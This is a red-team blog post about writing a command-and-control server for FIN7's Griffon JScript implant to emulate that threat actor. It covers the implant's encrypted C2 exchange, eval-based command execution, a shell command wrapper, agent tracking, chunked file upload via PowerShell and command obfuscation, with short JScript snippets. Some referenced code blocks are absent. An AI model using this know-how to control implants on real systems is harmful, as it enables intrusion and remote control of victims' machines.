Writing a C2 - The Journey
As part of my role, sometimes we have to emulate a threat actor. One common threat actor in the financial sector was FIN7.
One of their strains of malware called "Griffon" is best described by Malpedia:
GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the infected workstation.
A version of Griffon was de-obfuscated and posted on the Cyber Threat Intel Repository. I wanted to use the actual Griffon implant in our operation so I set out to write a C2 to interact with it.
The most important pieces to look at in this malware when writing the C2 is:
How does it send and receive data from the C2
How does it execute commands from the C2
Communication With C2
When Griffon tries to receive data from the C2, it calls this line: ncommand = send_data("request", "page_id=new", true);
If the C2 has data for the implant, the response from the server is stored in the ncommand variable. ncommand will then be decrypted via the func_crypt_controller function.
The encryption key is then randomly generated and used to encrypt the data to be sent. The encryption key is then appended to the data and then sent to the server.
result_string = result_string + "&_&" + encryption_key.join("");
The decryption process will extract that encryption_key and use it to decrypt the data.
This meant implementing the exact same function on my teamserver would allow the server and agent to talk to eachother successfully.
My python implementation was:
Executing Commands
Command execution in the implant is as follows:
eval(func_crypt_controller("decrypt", ncommand));
The JScript eval statement will execute arbitrary JScript commands that it receives from the C2. I wanted to make my C2 fully functional without modifying the implant. This meant living off of the land. I had to make use of the internal functions and the eval command to complete all of my tasks.
Here is an example of a "whoami" command that I wrote to run whoami on the implant and return the output to the C2.
This JScript will create a WScript.Shell object, use it to execute cmd /c whoami, store the output into the output variable, and then call the send_data command with the output to send it to the C2.
Since this command worked, I added a "shell" function to my C2 in the format of: shell {cmd} Which ended up creating the command:
Building the rest
Now that I had commands working with the implant, I needed a way to:
Register implant
Interact with multiple implants
Basic commands (run command, cd, ls)
Exit the implant
Extra features
Register Implant
I created an Agent class: class Agent: def init( self, agentid: str, uid: str, systemName: str, checkinTime: str, commandList: List[str], ):
I created a database that kept track of each agent variable. Upon checking in, the database is checked to see if the agentid exists, if it does not, the implant is registered.
The agentid is a unique string created by sha256 hashing the system name + uid and grabbing the first 8 characters. This is my non-sophisticated way to keep track of unique implants.
Interacting With Multiple Implants
In order to interact with agents, I wanted to create a menu with command options. I ended up having a 2-piece menu. A main menu with generic commands like "showall" to reveal all implants and an implant menu that contained options like shell, pwd, exit.
In order to accomplish this, if the user typed interact [agentid]
from the main menu and that agentid was valid, it set a variable to true and accessed a second set of menu options that included the agentid built-in to all of the functions. The user can type back to go back to the main menu and interact with a separate implant.
The commands were the easy part for this -- Since they just involved writing JScript code, I found the following:
CD
new ActiveXObject("WScript.Shell").CurrentDirectory = "{NewDirectory}"
PWD
var output = WScript.CreateObject("Scripting.FileSystemObject").GetFolder(".").Path;
LS/DIR
command = buildCommand("dir " + directoryToView)
This calls standard shell execution but provided dir and the path that the user provided
Exiting The Implant
In order to exit the implant, I had to tell the script to exit and remove the agent from my database. To make the script exit - Since it is running JScript commands, I sent the command WScript.Quit(). I then called the removeAgent function for my database, set the interacting to false and brought the user back to the main menu prompt.
Extra Features
Uploading files
Obfuscation (All JScript commands before they are sent)
Meme command
Uploading Files
Because of unfamiliarity with JScript, I did some crazy stuff to get file uploading to work:
Read file into python and base64 encoded it
Create a chunk array and split the b64 string into 30000 byte chunks
Created a command that would use powershell to combine the chunks and base64 decode them to a file
Obfuscation
Obfuscation was a very fun piece to write for this C2. There is a very cool Javascript Obfuscator and its source code is available here. I went into this project knowing nothing about typescript. Initially the project would take in a JS file and output a JS file but I wanted to be able to send it a JScript string, have it obfuscate it, and have it return a JScript string to STDOUT. My custom version can be found here
Since I am giving it a string as input, I decided to base64 encode the string so the input would look like: ./javascript-obfuscator [base64-encoded-jscript-command] [obfuscation options]
I changed the typescript so that the input was read in as a string, base64 decoded, obfuscated, and then sent to stdout.
From the teamserver, I used python to locally execute javascript-obfuscator with the provided commands, and it stores the output in the calling-variable.
Meme Command
One of my favorite commands from Empire is Invoke-Thunderstruck which will play thunderstruck in the background and keep turning the volume to 100%
To replicate this in JScript, I created an internet explorer ActiveXObject, set it to invisible, and had it navigate to a URL that plays the rickroll music. It can be seen broken down here!
The Code
The full source code can be found at my github repo here.
Last updated